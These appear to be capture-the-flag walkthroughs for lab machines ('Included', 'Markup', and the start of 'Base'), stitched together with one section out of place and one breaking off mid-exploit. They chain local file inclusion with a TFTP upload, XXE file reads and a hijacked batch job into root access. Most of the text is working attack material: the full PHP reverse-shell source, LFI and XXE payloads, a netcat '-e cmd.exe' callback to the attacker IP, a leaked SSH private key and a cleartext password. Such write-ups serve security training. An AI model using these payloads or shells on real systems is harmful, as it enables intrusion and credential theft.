└─$ nmap -sC -sV 10.129.254.251 

The scan shows only port 80 TCP open, which seems to be running Apache version 2.4.29 .

Apache: Let's navigate to port 80 using a browser like Chromium.

http://10.129.254.251:80 

LFI: Local File Inclusion The webpage features the landing page for a Gear manufacturing company. It does not seem to contain anything of interest, however, if we take a look at the URL we can see that this has automatically changed to

http://{target_IP}/?file=home.php 

This is a common way that developers use to dynamically load pages in a website and if not programmed correctly it can often lead to the webpage being vulnerable to Local File Inclusion, but more about that in a bit.

In the above example, the code is located inside index.php , which is used to dynamically load other pages of the website by using the file variable as the control point. If this variable has not been specified in the GET request, the page automatically re-writes the URL and loads home.php . If the value has been specified, the code attempts to load a page from the value of the variable. For instance, if the variable was file=register.php , the PHP code would attempt to load register.php from the same folder. This is a good way to seamlessly load different web pages, however if the include command is not restricted to just the web directory (e.g. /var/www/html ), it might be possible to abuse it in order to read any file that is available on the system and the user who is running the web server has privileges to read.

This is what is called a Local File Inclusion vulnerability and is defined as follows:

Local file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploitation of vulnerable inclusion procedures implemented in an application.

We can easily determine if this is the case by attempting to load a file that we know definitely exists on the system and is readable by all users. One of those files is /etc/passwd and to load it, change the file parameter from home.php to /etc/passwd . For consistency reasons we will show this process with the cURL command line utility instead of a browser. This is successful and a list of users is returned.

┌──(kali㉿kali)-[~]
└─$ curl 'http://10.129.254.251/?file=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

http://10.129.254.251/?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false mike:x:1000:1000:mike:/home/mike:/bin/bash tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

It is worth noting that inputting /etc/passwd might not always work if the inclusion already specifies working directory.

In this example the DIR parameter is used to acquire the current working directory that the script is located in (e.g. /var/www/html ) and then the value of the file variable is concatenated at the end. If we were to input /etc/passwd the full path would become

/var/www/html/etc/passwd 

which would result in a blank page as there is no such file or folder on the system.

To bypass this restriction we would have to instruct the code to search in previous directories. This would work similarly to how navigating to a previous folder is done with the cd command

In such a case, /etc/passwd would become

../../../etc/passwd 

TFTP: Trivial File Transfer Protocol

Back to the task at hand, while a Local File Inclusion is a great way to gather information and read system files the goal of every Penetration Tester is to achieve Remote Code Execution on a system. There is a plethora of ways that an LFI can turn into RCE, from log poisoning to plaintext passwords in configuration files and forgotten backups, however in this case the passwd file gave us a big hint as to how to proceed. The last user that is listed is called tftp

tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

A quick Google search reveals that Trivial File Transfer Protocol (TFTP) is a simple protocol that provides basic file transfer function with no user authentication. TFTP is intended for applications that do not need the sophisticated interactions that File Transfer Protocol (FTP) provides.

It is also revealed that TFTP uses the User Datagram Protocol (UDP) to communicate. This is defined as a lightweight data transport protocol that works on top of IP

UDP: UDP provides a mechanism to detect corrupt data in packets, but it does not attempt to solve other problems that arise with packets, such as lost or out of order packets. It is implemented in the transport layer of the OSI Model, known as a fast but not reliable protocol, unlike TCP, which is reliable, but slower then UDP. Just like how TCP contains open ports for protocols such as HTTP, FTP, SSH and etcetera, the same way UDP has ports for protocols that work for UDP.

To this end let's use Nmap to scan for open UDP ports. It is worth noting that a UDP scan takes considerably longer time to complete compared to a TCP scan and it also requires superuser privileges

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU 10.129.254.251    

The scan reveals that port 69 UDP is open and an instance of the TFTP server is running on it. In order to communicate with TFTP, we need to install it on our Linux machine.

LinPEAS:

When it comes to privilege escalations, we can manually check one by one or we can simply run any automation script to do the searching for us. Since this box is the Linux box we can use LinPEAS

┌──(kali㉿kali)-[~]
└─$ sudo apt install tftp

Once the tool is installed its manual page can assist with its usage.

┌──(kali㉿kali)-[~]
└─$ man tftp
  1. Foothold:

TFTP works by default without the need for authentication. That means that anyone can connect to the TFTP server and upload or download files from the remote system. We can chain this with the LFI vulnerability that we have already identified, in order to upload malicious PHP code to the target system that will be responsible for returning a reverse shell to us. We will then access this PHP file through the LFI and the web server will execute the PHP code. We can either create our own PHP code or use one of the many available PHP reverse shells that can be found online through a Google search. One of them can be found here.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

Copy the code and place it inside a file called shell.php . Then open it using a text editor such as nano or vim and edit the following lines.

$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS

The $port variable specifies the local port that we will use to catch the reverse shell. This can be anything we want as long as it is not already being used by a local process. Let's leave it to 1234 . The $ip variable specifies the local IP address that the shell will be returned to. We can acquire this IP by running the ifconfig command and looking under tun0 . The IP will be in the form of 10.10.14.X .

┌──(kali㉿kali)-[~]
└─$ ifconfig

After acquiring the local IP, change it in the PHP shell and save it. Then we will upload the file to the remote TFTP server.

┌──(kali㉿kali)-[~/Desktop]
└─$ tftp 10.129.247.215

tftp> put shell.php

Now that the file has been uploaded, we need to start a local Netcat listener on the port that we specified in the reverse shell, in order to catch the connection once it initiates

┌──(kali㉿kali)-[~]
└─$ nc -lvp 1234

Finally we must find a way to access the uploaded PHP file through the LFI but we do not know where the file is uploaded on the target system. Thinking back to the passwd file that we read earlier, the TFTP user's home folder is specified as /var/lib/tftpboot

tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

This information can also be found with a quick Google search: The default configuration file for tftpd-hpa is /etc/default/tftpd-hpa. The default root directory where files will be stored is /var/lib/tftpboot

With this information let's try to load /var/lib/tftpboot/shell.php

┌──(kali㉿kali)-[~]
└─$ curl 'http://10.129.247.215/?file=/var/lib/tftpboot/shell.php'

Once this command is run our terminal will appear stuck, however our Netcat listener has caught a connection

The received shell is not fully interactive, however we can make it a bit better by using Python3.

python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@included:/$ 

With access to the system as the www-data user we do not have enough privileges to read the user flag, therefore we need to find a way to move laterally to user mike who was also found on the passwd file. A good place to start our enumeration would be the web server directory as it often contains configuration files that might include passwords.The web-related files are usually stored in the /var/www/html folder, so that's where we are going start

www-data@included:/$ cd /var/www/html
www-data@included:/var/www/html$ ls -al

-rw-r--r-- 1 www-data www-data   212 Apr 23  2021 .htaccess
-rw-r--r-- 1 www-data www-data    17 Apr 23  2021 .htpasswd

The folder contains two interesting hidden files, .htaccess and .htpasswd . The htpasswd file is used to store usernames and passwords for basic authentication of HTTP users. Let's read both files.

www-data@included:/var/www/html$ cat .htaccess
cat .htaccess
RewriteEngine On
RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]
#<Files index.php>
#AuthType Basic
#AuthUserFile /var/www/html/.htpasswd
#Require valid-user

www-data@included:/var/www/html$ cat .htpasswd
cat .htpasswd
mike:Sheffield19

The second file contains credentials for user Mike. Often times users re-use the same passwords for multiple services and accounts and compromising one of them might mean that all of them are compromised. If user Mike has used the same password for their system account, we might be able to use the su utility to acquire a shell with their privileges.

www-data@included:/var/www/html$ su mike
Password: Sheffield19

This is successful and the user flag is located in /home/mike .

mike@included:/var/www/html$ 

mike@included:~$ ls
mike@included:~$ cat user.txt
a56ef91d70cfbf2cdb8f454c006935a1

Privilege escalation: The next step is escalating to the root user in order to gain the highest privileges on the system. Looking at the groups that user Mike is a member of, the lxd group is listed

mike@included:/var/www/html$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)

mike@included:/var/www/html$ groups
groups
mike lxd

A quick Google search on what LXD is reveals the following information LXD is a management API for dealing with LXC containers on Linux systems. It will perform tasks for any members of the local lxd group. It does not make an effort to match the permissions of the calling user to the function it is asked to perform

Digging a little deeper into LXD and searching for the keywords LXD Exploit on Google reveals the following information

A member of the local “lxd” group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package

This is exactly what we need and this HackTricks page describes the whole exploitation process step by step. The exploit works by making use of the Alpine image, which is a lightweight Linux distribution based on busy box. After this distribution is downloaded and built locally, an HTTP server is used to upload it to the remote system. The image is then imported into LXD and it is used to mount the Host file system with root privileges.

Let's begin by installing the Go programming language as well as some other required packages.

sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

Then we must clone the LXC Distribution Builder and build it:

git clone https://github.com/lxc/distrobuilder
cd distrobuilder
make

After the build is complete let's download the Alpine YAML file and build it:

mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo /home/kali/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18

-------------------------------------------------------------------------------------

MARKUP - VIP - WINDOWS - VERY EASY

TAGS: Web, Injection, Apache, SSH, PHP, Reconnaissance, Scheduled Job Abuse, Weak Credentials, Arbitrary File Upload, XXE Injection, Weak Permissions

  1. Enumeration:

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -A -Pn 10.129.128.189  

-sC : Equivalent to --script=default
-A : Enable OS detection, version detection, script scanning, and traceroute
-Pn : Treat all hosts as online -- skip host discovery

Once completed, the scan reports three open ports, 22, 80 and 443. Since we have no credentials at hand, we can start by exploring the webserver running on port 80.

http://10.129.128.189/

We are met with a simple login page. Attempting a number of default credentials lands us on a successful login

admin:admin
administrator:administrator
admin:administrator
admin:password
administrator:password

We successfully logged in with admin:password .

Moving past the login screen, we are met with a number of resources. After a quick exploratory dive into each of them, we notice that the Order page could be of interest to us, since it presents us with a number of user input fields

In order to better understand how this input functions, we will need to fire up BurpSuite, set up our FoxyProxy plug-in to intercept requests from port 8080, and interact with the input fields by filling in some random information and pressing the Submit button.

Searching for a XML exploitation cheatsheet we are met with several examples such as the following. From the above cheatsheet an excerpt can be taken that is of relevance to us.

Lets try to read /etc/passwd in different ways. For Windows you could try to read:

C:\windows\system32\drivers\etc\hosts

In this first case notice that SYSTEM "file:///etc/passwd" will also work.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Considering that the target is running a version of Windows, we will be using c:/windows/win.ini file in order to test out the exploit's validity. In BurpSuite, send the request to the Repeater module by rightclicking on the request and clicking Send to Repeater or by pressing the CTRL + R combination on your keyboard. Then, switch to the Repeater tab at the top of the BurpSuite window and change the XML data section of the request to the following:

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
<order>
<quantity>
3
</quantity>
<item>
&test;
</item>
<address>
17th Estate, CA
</address>
</order>

The output of the win.ini file on the target itself is dispalyed in our response message, which proves that the XML External Entity vulnerability is present

  1. Foothold:

We can try guessing where all the important files are located, however, it might turn out to be an endless road. Let's try to find something of importance on the HTML code of the web page.

CTRL + U

Modified by Daniel . This could be a hint towards a username present on the target system, since they would have access to the web page's source code for configuration purposes. Since we can already navigate the files present on the target system using the XXE vulnerability, let's attempt to navigate to the daniel user's .ssh folder in order to attempt to retrieve their private key

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
<order>
<quantity>
3
</quantity>
<item>
&test;
</item>
<address>
17th Estate, CA
</address>
</order>

The RSA key is printed out in the output, from where it can be placed in a local file on your machine named id_rsa , which you can later use to connect to the target at any point in time. Pick a folder to create the file in and run the commands below

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -la id_rsa
-rw-r--r-- 1 kali kali 2602 Nov 29 23:39 id_rsa

Next, copy the RSA key present in the Response in BurpSuite and paste it into the id_rsa file using the text editor of your choice. It's also important to set the right privileges for the id_rsa file so as to be accepted by your SSH client. The commands below will achieve and verify this

┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 400 id_rsa 

┌──(kali㉿kali)-[~/Desktop]
└─$ ls -la id_rsa
-r-------- 1 kali kali 2602 Nov 29 23:39 id_rsa

Following this, we can attempt to log in as the daniel user through our SSH client, using his private key.

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa daniel@10.129.128.189

We are successful, and the user flag can be retrieved from C:\Users\daniel\Desktop .

daniel@MARKUP C:\Users\daniel> cd Desktop  
daniel@MARKUP C:\Users\daniel\Desktop> dir 
daniel@MARKUP C:\Users\daniel\Desktop>
  1. Privilege Escalation:

In order to retrieve the Administrator flag, we will need to escalate our privileges. Let's check our current ones by typing the command below

daniel@MARKUP C:\Users\daniel\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Seeing as the privileges listed for the daniel user are not of very unique importance, we can move on to exploring the file system in hopes of discovering any uncommon files or folders that we could use to leverage our attack.

In the C: directory, there is a Recovery.txt file which seems uncommon, but is empty, as seen from the 0 bytes displayed next to the name of the file in our output above. However, the Log-Management folder might be of some use to us, as it's also uncommon. Inside it, we find a job.bat file, which upon further inspection offers us some insight into its' purpose.

daniel@MARKUP C:\Users\daniel\Desktop>cd C:/ 
daniel@MARKUP C:\>dir 

daniel@MARKUP C:\> cd Log-Management  
daniel@MARKUP C:\Log-Management> dir 
daniel@MARKUP C:\Log-Management> type job.bat 

The purpose of job.bat seems to be related to clearing logfiles, and it can only be run with an Administrator account. There is also mention of an executable named wevtutil , which upon further investigation is determined to be a Windows command that has the ability to retrieve information about event logs and publishers. It can also install and uninstall event manifests, run queries and export, archive and clear logs. We now understand the use of it in this case, alongside the el and cl parameters found in the job.bat file

Since the file itself can only be run by an Administrator, we could try our luck and see if our usergroup could at least edit the file, instead of running it, or if there are any mismatched permissions between the script and the usergroup or file configuration. We can achieve this by using the icacls command

daniel@MARKUP C:\Log-Management> icacls job.bat

Looking at the permissions of job.bat using icacls reveals that the group BUILTIN\Users has full control (F) over the file. The BUILTIN\Users group represents all local users, which includes Daniel as well. We might be able to get a shell by transferring netcat to the system and modifying the script to execute a reverse shell.

Before then, we need to check if the wevtutil process mentioned in the job.bat file is running. We can see the currently scheduled tasks by typing the schtasks command. If our permission level doesn't allow us to view this list through Windows' command line, we can quickly use powershell's ps command instead, which represents another security misconfiguration that works against the server.

daniel@MARKUP C:\Log-Management> schtasks

daniel@MARKUP C:\Log-Management> powershell

PS C:\Log-Management> ps

We can see that the process wevtutil is running, which is the same process listed in the job.bat file. This indicates that the .bat script might be executing. Because the target host does not have access to the Internet, we will need to deliver the nc64.exe executable through our own connection with the target. In order to do so, we will first need to download nc64.exe on our system, start up a Python HTTP server on one of our ports, then switch to the shell we have on the host to issue a wget command with our address and the nc64.exe file residing on our server.

This will initialize a download from the host to our Python server for the executable. Make sure you don't switch folders after downloading the executable. The Python HTTP server needs to be running in the same directory as the location of the downloaded nc64.exe file we want to deliver to the target. In order to download the executable on our system, we can use this link:

Switching to the shell we have on the host, we can issue the download command targetting our own IP address on the VPN. Replace the {your_IP} parameter in the command pictured below with the IP address assigned on your own machine to the tun0 interface. You can check this by running ip a or ifconfig on one of your own terminals.

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo python3 -m http.server 80 

PS C:\Log-Management> wget http://10.10.16.7/nc64.exe -outfile nc64.exe
PS C:\Log-Management> dir

Since we have full control over the job.bat script, we will modify its' contents by running the following command. Make sure to run it from the Windows Command Line, where the daniel@MARKUP user is displayed before every command, and not from Windows PowerShell, where PS is displayed before every command. As before, make sure to change the {your_IP} parameter with the IP address assigned to your tun0 interface and the {port} parameter with a port of your choice, which you will listen for connections on

daniel@MARKUP C:\Log-Management>echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.7 5555 > C:\Log-Management\job.bat 

We will turn on the netcat listener and wait for the script to execute.

┌──(kali㉿kali)-[~]
└─$ nc -lvp 5555

Once the script executes, we receive a shell on the terminal tab the listener was active on.

The reverse shell might be slow, in that case, either be patient or quickly read the root flag directly without navigating around the target directories using the following command:

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

The exploit might not work on the first attempt. Due to the sensitivity of the exploit, many attempts might lead to failure, in which case the exploit should be run multiple times until it becomes successful. There is no workaround for an unstable exploit. Make sure you are not running the echo command from PowerShell

-------------------------------------------------------------------------------------

BASE- VIP - LINUX- VERY EASY

TAGS: Web, Vulnerability Assessment, Custom Applications, Source Code Analysis, Authentication, Apache, PHP, Reconnaissance, Web Site Structure Discovery, SUDO Exploitation, Authentication bypass, Clear Text Credentials, Arbitrary File Upload, Information Disclosure, PHP type juggling

  1. Enumeration:

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.95.184

The scan shows two ports open - Port 80 (HTTP) and Port 22 (SSH). We start off with enumerating port 80 using our web browser.

